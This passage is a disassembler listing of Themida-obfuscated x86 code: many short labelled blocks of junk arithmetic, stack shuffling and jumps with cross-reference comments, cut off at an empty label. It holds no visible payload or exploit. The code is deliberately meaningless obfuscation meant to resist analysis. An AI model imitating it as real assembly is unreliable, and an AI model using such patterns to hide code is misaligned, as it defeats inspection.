		inc	ebp
		push	2621h
		mov	[esp], eax
		mov	eax, 28EE7E07h
		inc	eax
		push	ecx
		mov	ecx, 55792C2Dh
		not	ecx
		dec	ecx
		dec	ecx
		xor	ecx, 0FF25BA12h
		jmp	loc_56C820
; ---------------------------------------------------------------------------


loc_5645E3:				; CODE XREF: Themida_:00566D52j
		mov	ebp, 2A67266Eh
		xchg	edi, ebp
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	edi, ebp
		xor	ebp, 13F77E3Bh
		xchg	esi, ebp
		inc	esi
		xchg	esi, ebp
		shl	ebp, 3
		jmp	loc_566FF5
; ---------------------------------------------------------------------------


loc_564604:				; CODE XREF: Themida_:00571A44j
		add	ch, dl
		sub	ch, 48h
		pop	edx
		push	0
		sub	[esp], ch
		mov	ch, [esp]
		jmp	loc_56A7C8
; ---------------------------------------------------------------------------


loc_56461A:				; CODE XREF: Themida_:005726F6j
		xor	edx, ebp
		pop	ebp
		add	ecx, edx
		jmp	loc_5713CB
; ---------------------------------------------------------------------------


loc_564624:				; CODE XREF: Themida_:00561368j
		add	edx, 5AFBB4Ch
		mov	eax, edx
		pop	edx
		sub	edx, eax
		jmp	loc_56EE4E
; ---------------------------------------------------------------------------


loc_564634:				; CODE XREF: Themida_:00566D89j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	edi
		push	ecx
		jmp	loc_56E300
; ---------------------------------------------------------------------------


loc_56464E:				; CODE XREF: Themida_:00572756j
		sub	ecx, esi
		mov	esi, ecx
		mov	ecx, [esp]
		jmp	loc_562F2E
; ---------------------------------------------------------------------------


loc_56465A:				; CODE XREF: Themida_:00564119j
		add	ecx, 6D64244Eh
		mov	eax, ecx
		pop	ecx
		jmp	loc_565FF2
; ---------------------------------------------------------------------------


loc_564668:				; CODE XREF: Themida_:00572871j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5673AC
; ---------------------------------------------------------------------------


loc_564674:				; CODE XREF: Themida_:005700EFj
		add	esp, 4
		add	ebp, 0DFFACFDBh
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_562D4E
; ---------------------------------------------------------------------------


loc_564694:				; CODE XREF: Themida_:0057179Ej
		add	ebx, 34BC6D5Bh
		shr	ebx, 6
		sub	ebx, 0B481107Ah
		add	edi, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_56B833
; ---------------------------------------------------------------------------


loc_5646AF:				; CODE XREF: Themida_:0055F8C1j
		mov	edx, 440C6539h
		sub	edx, edi
		pop	edi
		sub	ecx, edx
		jmp	loc_5715C6
; ---------------------------------------------------------------------------


loc_5646BE:				; CODE XREF: Themida_:0056BD70j
		sub	al, 0FCh
		jmp	loc_574354
; ---------------------------------------------------------------------------


loc_5646C5:				; CODE XREF: Themida_:00571F7Ej
		mov	[esp], edi
		mov	edi, 71B3218Fh
		jmp	loc_564877
; ---------------------------------------------------------------------------


loc_5646D2:				; CODE XREF: Themida_:00560676j
		xor	dl, 18h
		shr	dl, 5
		neg	dl
		sub	esp, 2
		mov	[esp], bx
		push	eax
		jmp	loc_564EC0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	3323h
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_5647C7
; ---------------------------------------------------------------------------


loc_564712:				; CODE XREF: Themida_:0056C6A6j
		push	ebx
		mov	ebx, 0B652628h
		xor	esi, ebx
		pop	ebx
		jmp	loc_571C5C
; ---------------------------------------------------------------------------


loc_564720:				; CODE XREF: Themida_:00566BF8j
		push	ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564728:				; CODE XREF: Themida_:005666ECj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	4
		pop	ebp
		sub	esi, 2ED43AA3h
		jmp	loc_563640
; ---------------------------------------------------------------------------


loc_564761:				; CODE XREF: Themida_:005627B3j
		pop	edi
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56D00D
; ---------------------------------------------------------------------------


loc_56476B:				; CODE XREF: Themida_:005711A2j
		or	edx, eax
		shl	edx, 1
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		push	24C650FAh
		jmp	loc_570191
; ---------------------------------------------------------------------------


loc_564783:				; CODE XREF: Themida_:00564347j
		mov	edx, 4
		push	edi
		mov	edi, 6D7B24C4h
		sub	ebx, edi
		pop	edi
		add	ebx, edx
		jmp	loc_567955
; ---------------------------------------------------------------------------


loc_564798:				; CODE XREF: Themida_:005697E0j
		shl	edi, 8
		sub	edi, 76B465B9h
		sub	edi, 1A305A67h
		jmp	loc_56EA4E
; ---------------------------------------------------------------------------


loc_5647AC:				; CODE XREF: Themida_:0055FCD6j
		mov	[esp], ebp
		jmp	loc_56F978
; ---------------------------------------------------------------------------


loc_5647B4:				; CODE XREF: Themida_:005689F1j
		pop	edi
		sub	edi, 6D522664h
		pop	ebx
		add	eax, edi
		mov	edi, [esp]
		push	ecx
		jmp	loc_56034D
; ---------------------------------------------------------------------------


loc_5647C7:				; CODE XREF: Themida_:0056470Dj
		sub	ebp, esi
		pop	esi
		jmp	loc_5659FB
; ---------------------------------------------------------------------------


loc_5647CF:				; CODE XREF: Themida_:00571CD4j
		pop	edi
		jmp	loc_5720C9
; ---------------------------------------------------------------------------


loc_5647D5:				; CODE XREF: Themida_:00565B5Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_56C015
; ---------------------------------------------------------------------------


loc_5647F6:				; CODE XREF: Themida_:00571F1Fj
		push	44E9h
		jmp	loc_56808C
; ---------------------------------------------------------------------------


loc_564800:				; CODE XREF: Themida_:00573244j
		pop	esi
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 66CD2A56h
		dec	ebp
		shr	ebp, 2
		jmp	loc_56711B
; ---------------------------------------------------------------------------


loc_564819:				; CODE XREF: Themida_:00562F1Dj
		push	esi
		jmp	loc_562680
; ---------------------------------------------------------------------------


loc_56481F:				; CODE XREF: Themida_:00567A45j
		add	edi, ebx
		pop	ebx
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_573679
; ---------------------------------------------------------------------------


loc_56482D:				; CODE XREF: Themida_:00563ABCj
		add	eax, 3C5A53B3h
		shr	eax, 7
		or	eax, 29BD6050h
		jmp	loc_566CD5
; ---------------------------------------------------------------------------


loc_56483F:				; CODE XREF: Themida_:005631A6j
		xchg	ebp, [esp]
		pop	esp
		push	13FCh
		jmp	loc_56C7D1
; ---------------------------------------------------------------------------


loc_56484D:				; CODE XREF: Themida_:00560495j
		sub	edi, esi
		jmp	loc_562B52
; ---------------------------------------------------------------------------


loc_564854:				; CODE XREF: Themida_:005663C5j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564859:				; CODE XREF: Themida_:00564C0Bj
		add	eax, 4
		jmp	loc_564575
; ---------------------------------------------------------------------------


loc_564863:				; CODE XREF: Themida_:0056C7DCj
		push	71A70ADDh
		pop	ecx
		shl	ecx, 5
		and	ecx, 7A294BC3h
		jmp	loc_56F0D9
; ---------------------------------------------------------------------------


loc_564877:				; CODE XREF: Themida_:005646CDj
		push	ebx
		jmp	loc_573028
; ---------------------------------------------------------------------------


loc_56487D:				; CODE XREF: Themida_:0056231Ej
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], eax
		push	4
		pop	eax
		add	dword ptr [esp+4], 6009362Dh
		add	dword ptr [esp+4], 2E7852CDh
		add	[esp+4], eax
		sub	dword ptr [esp+4], 2E7852CDh
		sub	dword ptr [esp+4], 6009362Dh
		push	dword ptr [esp]
		jmp	loc_572D3E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_561703
; ---------------------------------------------------------------------------


loc_5648C2:				; CODE XREF: Themida_:00563B69j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_571976
; ---------------------------------------------------------------------------


loc_5648DF:				; CODE XREF: Themida_:0055F5D3j
		mov	[esp], esi
		jmp	loc_574521
; ---------------------------------------------------------------------------


loc_5648E7:				; CODE XREF: Themida_:0056E264j
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0BDh
		mov	ah, 4Ch
		xor	ah, bl
		pop	ebx
		mov	cl, ah
		pop	eax
		sub	ah, 0F8h
		jmp	loc_567114
; ---------------------------------------------------------------------------


loc_5648FF:				; CODE XREF: Themida_:005661ADj
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_574616
; ---------------------------------------------------------------------------


loc_564925:				; CODE XREF: Themida_:005686ABj
		xor	ebp, [esp]
		jmp	loc_572733
; ---------------------------------------------------------------------------


loc_56492D:				; CODE XREF: Themida_:0056965Fj
		mov	edi, esp
		jmp	loc_56253D
; ---------------------------------------------------------------------------


loc_564934:				; CODE XREF: Themida_:0056BCEBj
		sub	ebx, esi
		sub	ebx, 3D6E667Bh
		mov	esi, [esp]
		jmp	loc_56FE5F
; ---------------------------------------------------------------------------


loc_564944:				; CODE XREF: Themida_:005689AAj
		and	esi, 59B4F87h
		add	esi, 0FFEDB37Eh
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	6845h
		mov	[esp], edx
		push	esi
		pop	edx
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564971:				; CODE XREF: Themida_:00570971j
		pop	esp
		jmp	loc_565E26
; ---------------------------------------------------------------------------


loc_564977:				; CODE XREF: Themida_:00569F54j
		pop	esi
		dec	ecx
		xchg	ebx, ecx
		not	ebx
		xchg	ebx, ecx
		sub	ecx, 636E1B95h
		xor	ecx, 57D8809Dh
		sub	eax, ecx
		jmp	loc_562F11
; ---------------------------------------------------------------------------


loc_564992:				; CODE XREF: Themida_:00564D43j
		push	7B9044A0h
		push	dword ptr [esp]
		pop	ebx
		push	edx
		push	488Fh
		mov	[esp], esp
		push	edx
		mov	edx, 4
		sub	dword ptr [esp+4], 67BC40F7h
		jmp	loc_562B78
; ---------------------------------------------------------------------------


loc_5649B7:				; CODE XREF: Themida_:00565447j
		mov	dh, bh
		mov	ah, dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	cx
		jmp	loc_57200F
; ---------------------------------------------------------------------------


loc_5649CC:				; CODE XREF: Themida_:0056B685j
		mov	edi, 37254572h
		sub	edi, 42927CC0h
		xor	edi, 0F492C8B6h
		add	ebp, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		jmp	loc_56A7D3
; ---------------------------------------------------------------------------


loc_5649F0:				; CODE XREF: Themida_:005624F7j
		xor	eax, [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564A00:				; CODE XREF: Themida_:0056266Fj
		and	edx, 637736E2h
		inc	edx
		xor	edx, 0FFC9DFDEh
		jmp	loc_572289
; ---------------------------------------------------------------------------


loc_564A12:				; CODE XREF: Themida_:0056903Bj
		sub	esp, 4
		mov	[esp], edi
		push	0A0Eh
		mov	[esp], ebx
		mov	ebx, 4
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		sub	ecx, 15A43CE4h
		add	ecx, edi
		push	ebp
		push	15A43CE4h
		jmp	loc_5621F3
; ---------------------------------------------------------------------------


loc_564A43:				; CODE XREF: Themida_:00567069j
		xchg	edi, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_56C4C3
; ---------------------------------------------------------------------------


loc_564A57:				; CODE XREF: Themida_:0056E618j
		add	esi, eax
		pop	eax
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56C0A3
; ---------------------------------------------------------------------------


loc_564A63:				; CODE XREF: Themida_:005735BFj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564A6D:				; CODE XREF: Themida_:0056191Dj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 3C4F7C2Ch
		push	edi
		add	dword ptr [esp], 591E0B5Ch
		pop	ecx
		push	1695h
		jmp	loc_57219B
; ---------------------------------------------------------------------------


loc_564A8B:				; CODE XREF: Themida_:00573102j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56175F
; ---------------------------------------------------------------------------


loc_564AA1:				; CODE XREF: Themida_:0056A2C4j
		mov	bp, 6EEAh
		sub	dx, bp
		jmp	loc_572B95
; ---------------------------------------------------------------------------


loc_564AAD:				; CODE XREF: Themida_:00569448j
		add	esp, 4
		jmp	loc_563A0C
; ---------------------------------------------------------------------------


loc_564AB8:				; CODE XREF: Themida_:0056D620j
		sub	esi, 1DA47CC4h
		sub	esi, edx
		add	esi, 1DA47CC4h
		mov	edx, [esp]
		push	41E4h
		mov	[esp], edi
		mov	edi, esp
		push	eax
		mov	eax, 43CC0512h
		sub	eax, 5C874DC7h
		inc	eax
		or	eax, 54EB6542h
		and	eax, 3CA1716h
		sub	eax, 3CA1702h
		jmp	loc_5706CA
; ---------------------------------------------------------------------------


loc_564AF3:				; CODE XREF: Themida_:0056DB9Bj
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_5690DD
; ---------------------------------------------------------------------------


loc_564B02:				; CODE XREF: Themida_:0056128Bj
		pop	ecx
		push	dx
		push	ecx
		mov	ch, 0DBh
		xor	ch, 0E0h
		sub	ch, 58h
		mov	dh, ch
		jmp	loc_573CE6
; ---------------------------------------------------------------------------


loc_564B15:				; CODE XREF: Themida_:00560413j
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_56F7FA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	427Ch
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_56A255
; ---------------------------------------------------------------------------
		db 66h
		dd 0E95BB151h, 0FFFFE9CBh
; ---------------------------------------------------------------------------


loc_564B44:				; CODE XREF: Themida_:0056B56Aj
		xor	esi, 738379EAh
		jmp	loc_570B6E
; ---------------------------------------------------------------------------


loc_564B4F:				; CODE XREF: Themida_:00570DCDj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564B54:				; CODE XREF: Themida_:00574060j
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_570586
; ---------------------------------------------------------------------------


loc_564B60:				; CODE XREF: Themida_:00572682j
		xchg	edx, [esp]
		jmp	loc_56C9F5
; ---------------------------------------------------------------------------


loc_564B68:				; CODE XREF: Themida_:0056ACBAj
		add	esi, 205F2836h
		jmp	loc_567C46
; ---------------------------------------------------------------------------


loc_564B73:				; CODE XREF: Themida_:00573639j
		add	edx, edi
		jmp	loc_570221
; ---------------------------------------------------------------------------


loc_564B7A:				; CODE XREF: Themida_:0055FED4j
		mov	al, ch
		mov	dh, al
		pop	eax
		pop	ecx
		pop	ebx
		push	ebx
		mov	bh, dh
		push	ecx
		mov	cl, bh
		mov	al, cl
		pop	ecx
		pop	ebx
		jmp	loc_572653
; ---------------------------------------------------------------------------


loc_564B90:				; CODE XREF: Themida_:00572E5Fj
		pop	ecx
		neg	bl
		xor	bl, 3Dh
		xor	dl, bl
		pop	ebx
		dec	dl
		not	dl
		add	dl, 0F3h
		xor	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	0A18h
		jmp	loc_5666BD
; ---------------------------------------------------------------------------


loc_564BB2:				; CODE XREF: Themida_:00563548j
		shr	ebx, 6
		xor	ebx, 38381C8Dh
		add	eax, ebx
		jmp	loc_56B2B8
; ---------------------------------------------------------------------------


loc_564BC2:				; CODE XREF: Themida_:00563568j
		sub	esp, 4
		jmp	loc_57401E
; ---------------------------------------------------------------------------


loc_564BCD:				; CODE XREF: Themida_:0057394Bj
		add	esp, 4
		and	edi, 25B2D3Bh
		push	eax
		mov	eax, 58ED7342h
		shr	eax, 6
		and	eax, 10956017h
		and	eax, 78802440h
		jmp	loc_5603D0
; ---------------------------------------------------------------------------


loc_564BF1:				; CODE XREF: Themida_:00572EF9j
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	edi, eax
		mov	eax, [esp]
		push	1695h
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_564859
; ---------------------------------------------------------------------------


loc_564C10:				; CODE XREF: Themida_:005667DDj
		mov	[esp], ecx
		push	edx
		mov	edx, 9013807h
		jmp	loc_56603F
; ---------------------------------------------------------------------------


loc_564C1E:				; CODE XREF: Themida_:0056C1F7j
		add	eax, 0D2C2687Ch
		and	edx, eax
		pop	eax
		shr	edx, 7
		sub	edx, 0D6151BE1h
		add	ebp, 25266BD4h
		add	ebp, edx
		jmp	loc_56D3CC
; ---------------------------------------------------------------------------


loc_564C3C:				; CODE XREF: Themida_:00568019j
		shl	esi, 3
		shr	esi, 1
		push	edi
		mov	edi, 1
		add	esi, edi
		pop	edi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		dec	edi
		xchg	edi, esi
		push	ebp
		jmp	loc_5740E9
; ---------------------------------------------------------------------------


loc_564C59:				; CODE XREF: Themida_:0056F69Cj
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	ebp
		jmp	loc_560EE0
; ---------------------------------------------------------------------------


loc_564C7C:				; CODE XREF: Themida_:0056AFBDj
		push	ebx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_5733E9
; ---------------------------------------------------------------------------


loc_564C86:				; CODE XREF: Themida_:00570E22j
		mov	esp, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	53E9h
		mov	[esp], eax
		push	edi
		mov	edi, 78B221C8h
		mov	eax, edi
		pop	edi
		jmp	loc_56D492
; ---------------------------------------------------------------------------


loc_564CA2:				; CODE XREF: Themida_:0056D6BDj
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_569717
; ---------------------------------------------------------------------------


loc_564CBB:				; CODE XREF: Themida_:005676A1j
		pop	ecx
		add	esp, 4
		push	ebx
		jmp	loc_5677D1
; ---------------------------------------------------------------------------


loc_564CC5:				; CODE XREF: Themida_:00570891j
		mov	edi, 677376Ah
		jmp	loc_55FE4E
; ---------------------------------------------------------------------------


loc_564CCF:				; CODE XREF: Themida_:005616C5j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564CD4:				; CODE XREF: Themida_:0056D952j
		add	dword ptr [esp+4], 1ACA2334h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 1ACA2334h
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	edx
		add	edx, 4
		push	edi
		push	ebx
		mov	ebx, 68595179h
		mov	edi, 6859517Bh
		sub	edi, ebx
		pop	ebx
		add	edx, edi
		jmp	loc_57044D
; ---------------------------------------------------------------------------


loc_564D14:				; CODE XREF: Themida_:00571ED0j
		add	edx, 4
		jmp	loc_55FF1D
; ---------------------------------------------------------------------------


loc_564D1F:				; CODE XREF: Themida_:00565D1Dj
		pop	ebx
		sub	edi, 0D7C7537h
		sub	edi, edx
		add	edi, 0D7C7537h
		sub	edi, 22970519h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		std
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_564992
; ---------------------------------------------------------------------------


loc_564D48:				; CODE XREF: Themida_:00573E10j
		mov	esi, 284C0130h
		add	edx, esi
		jmp	loc_5694B1
; ---------------------------------------------------------------------------


loc_564D54:				; CODE XREF: Themida_:00561B0Dj
		pop	ebx
		jmp	loc_567690
; ---------------------------------------------------------------------------


loc_564D5A:				; CODE XREF: Themida_:00570544j
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_56EA0B
; ---------------------------------------------------------------------------


loc_564D6C:				; CODE XREF: Themida_:0055FCA3j
		mov	[esp], ax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_56DF07
; ---------------------------------------------------------------------------


loc_564D7E:				; CODE XREF: Themida_:005706BDj
		add	edx, ebp
		pop	ebp
		mov	ecx, edx
		pop	edx
		push	ebx
		mov	ebx, 4E7F4978h
		and	ecx, ebx
		pop	ebx
		jmp	loc_570EA0
; ---------------------------------------------------------------------------


loc_564D92:				; CODE XREF: Themida_:005615DBj
		mov	[esp], edx
		xor	dword ptr [esp], 603C0826h
		pop	esi
		xor	esi, 603C0826h
		pop	edx
		add	ebx, esi
		jmp	loc_570EBA
; ---------------------------------------------------------------------------


loc_564DAB:				; CODE XREF: Themida_:0057018Cj
		sub	edi, 47514756h
		add	edi, 79736941h
		add	edi, 131B7A62h
		add	edi, edx
		sub	edi, 131B7A62h
		sub	edi, 79736941h
		add	edi, 47514756h
		add	edi, 66136B4Dh
		pop	edx
		sub	edi, 4
		jmp	loc_5603B1
; ---------------------------------------------------------------------------


loc_564DE0:				; CODE XREF: Themida_:00573CDBj
		add	ebp, 4
		jmp	loc_56311A
; ---------------------------------------------------------------------------


loc_564DEB:				; CODE XREF: Themida_:00569BBEj
		or	eax, 57B823A1h
		add	eax, 3DB3465Bh
		and	eax, 7BDB68ECh
		sub	eax, 39912040h
		add	esi, eax
		pop	eax
		push	edi
		mov	edi, 4
		sub	esi, edi
		jmp	loc_56104C
; ---------------------------------------------------------------------------


loc_564E0F:				; CODE XREF: Themida_:005710EEj
		xor	edi, 0CA29F1AFh
		mov	ecx, edi
		jmp	loc_56BD83
; ---------------------------------------------------------------------------


loc_564E1C:				; CODE XREF: Themida_:00571F3Aj
		mov	ecx, esp
		push	esi
		mov	esi, 6D7E0BB0h
		sub	esi, 6D7E0BACh
		add	ecx, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		jmp	loc_562313
; ---------------------------------------------------------------------------


loc_564E3B:				; CODE XREF: Themida_:00566483j
		add	eax, esi
		jmp	loc_560B22
; ---------------------------------------------------------------------------


loc_564E42:				; CODE XREF: Themida_:0055FB30j
		sub	eax, 405F17FBh
		add	eax, esi
		add	eax, 405F17FBh
		mov	esi, [esp]
		add	esp, 4
		add	eax, 238B17FBh
		add	eax, edi
		sub	eax, 238B17FBh
		push	ebp
		jmp	loc_567B24
; ---------------------------------------------------------------------------


loc_564E69:				; CODE XREF: Themida_:0056F4D7j
		push	5B84h
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_56E4A8
; ---------------------------------------------------------------------------


loc_564E7B:				; CODE XREF: Themida_:00562B19j
		push	edi
		mov	edi, 4
		jmp	loc_5676BF
; ---------------------------------------------------------------------------


loc_564E86:				; CODE XREF: Themida_:0056A7F4j
		mov	ecx, 26871E19h
		add	ebx, 276741A7h
		sub	ebx, ecx
		jmp	loc_565739
; ---------------------------------------------------------------------------


loc_564E98:				; CODE XREF: Themida_:0056999Ej
		push	edi
		mov	edi, 1A673A37h
		shr	edi, 5
		sub	edi, 28163473h
		shl	edi, 7
		not	edi
		xor	edi, 51D50D1h
		xor	edi, 0A460002Ah
		add	eax, edi
		pop	edi
		jmp	loc_573C32
; ---------------------------------------------------------------------------


loc_564EC0:				; CODE XREF: Themida_:005646E2j
		mov	ah, ch
		jmp	loc_564097
; ---------------------------------------------------------------------------


loc_564EC7:				; CODE XREF: Themida_:00564F25j
		push	ebp
		jmp	loc_565C47
; ---------------------------------------------------------------------------


loc_564ECD:				; CODE XREF: Themida_:005720DCj
		push	dword ptr [esp+4]
		jmp	loc_568CB9
; ---------------------------------------------------------------------------


loc_564ED6:				; CODE XREF: Themida_:00572368j
		push	ecx
		jmp	loc_560113
; ---------------------------------------------------------------------------


loc_564EDC:				; CODE XREF: Themida_:0056113Bj
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_564EE8:				; CODE XREF: Themida_:00572382j
		push	3C3Bh
		mov	[esp], edx
		push	64Eh
		jmp	loc_5683B6
; ---------------------------------------------------------------------------


loc_564EFA:				; CODE XREF: Themida_:00570525j
		pop	edi
		jmp	loc_56EEF8
; ---------------------------------------------------------------------------


loc_564F00:				; CODE XREF: Themida_:00570E4Cj
		mov	esi, edi
		jmp	loc_564023
; ---------------------------------------------------------------------------


loc_564F07:				; CODE XREF: Themida_:00573E50j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esi
		push	esp
		pop	esi
		jmp	loc_564EC7
; ---------------------------------------------------------------------------


loc_564F2A:				; CODE XREF: Themida_:0056D170j
		mov	ebx, 5A3136D9h
		jmp	loc_56A79C
; ---------------------------------------------------------------------------


loc_564F34:				; CODE XREF: Themida_:00567D65j
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edx, 4
		push	ebx
		mov	ebx, 0E030A1Ah
		or	ebx, 1FFC43EBh
		push	0
		sub	[esp], ebx
		pop	ebx
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		not	esi
		xchg	esi, ebx
		jmp	loc_573742
; ---------------------------------------------------------------------------


loc_564F69:				; CODE XREF: Themida_:00561F59j
		or	edi, 74F26316h
		xor	edi, 34FE1CB3h
		shr	edi, 1
		sub	edi, 1
		xor	edi, 1D65E054h
		and	edx, edi
		pop	edi
		shl	edx, 2
		xor	edx, 50423776h
		sub	esi, 23B457F1h
		sub	esi, edx
		push	ecx
		mov	ecx, 65E512B9h
		add	ecx, 0BDCF4538h
		add	esi, ecx
		pop	ecx
		mov	edx, [esp]
		jmp	loc_564481
; ---------------------------------------------------------------------------


loc_564FAB:				; CODE XREF: Themida_:0056DF8Fj
		add	edx, 1D68792Bh
		jmp	loc_561119
; ---------------------------------------------------------------------------


loc_564FB6:				; CODE XREF: Themida_:0056BA5Cj
		or	eax, 51171C04h
		dec	eax
		add	eax, 0DBD61090h
		jmp	loc_56815E
; ---------------------------------------------------------------------------


loc_564FC6:				; CODE XREF: Themida_:0056E4CFj
		add	edx, 4
		jmp	loc_57377E
; ---------------------------------------------------------------------------


loc_564FD1:				; CODE XREF: Themida_:00570D9Fj
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56CA55
; ---------------------------------------------------------------------------


loc_564FEC:				; CODE XREF: Themida_:00572EA8j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		push	98Ch
		mov	[esp], edx
		jmp	loc_56AF63
; ---------------------------------------------------------------------------


loc_56501A:				; CODE XREF: Themida_:0056FEEBj
		push	esi
		mov	esi, 712D24DBh
		xor	esi, 69131279h
		shr	esi, 8
		or	esi, 28836208h
		add	esi, 64661821h
		sub	esi, 8AD1AB3h
		xor	esi, 8AAE4CA2h
		jmp	loc_5655AD
; ---------------------------------------------------------------------------


loc_565046:				; CODE XREF: Themida_:00574273j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	esi
		push	729A0579h
		pop	esi
		jmp	loc_5634F0
; ---------------------------------------------------------------------------


loc_565069:				; CODE XREF: Themida_:005737D4j
		push	ecx
		mov	ecx, 5B274D9Dh
		push	esi
		mov	esi, 51F544AFh
		xor	esi, 2B445B11h
		not	esi
		sub	esi, 63D1AC06h
		jmp	loc_56D0A8
; ---------------------------------------------------------------------------


loc_565088:				; CODE XREF: Themida_:00568C50j
		add	dl, ah
		add	dl, 32h
		pop	eax
		jmp	loc_5669DA
; ---------------------------------------------------------------------------


loc_565093:				; CODE XREF: Themida_:0055FAD2j
		sub	edi, 53BC1A4Eh
		sub	edi, edx
		jmp	loc_56C60B
; ---------------------------------------------------------------------------


loc_5650A0:				; CODE XREF: Themida_:00565F80j
		shl	ebp, 8
		add	ebp, 0D984472Dh
		add	esi, ebp
		pop	ebp
		jmp	loc_565858
; ---------------------------------------------------------------------------


loc_5650B1:				; CODE XREF: Themida_:005607B7j
		sub	bl, 0A9h
		sub	cl, bl
		mov	ebx, [esp]
		jmp	loc_562C7F
; ---------------------------------------------------------------------------


loc_5650BE:				; CODE XREF: Themida_:0056C3B9j
		add	esi, ebx
		jmp	loc_567833
; ---------------------------------------------------------------------------


loc_5650C5:				; CODE XREF: Themida_:00572534j
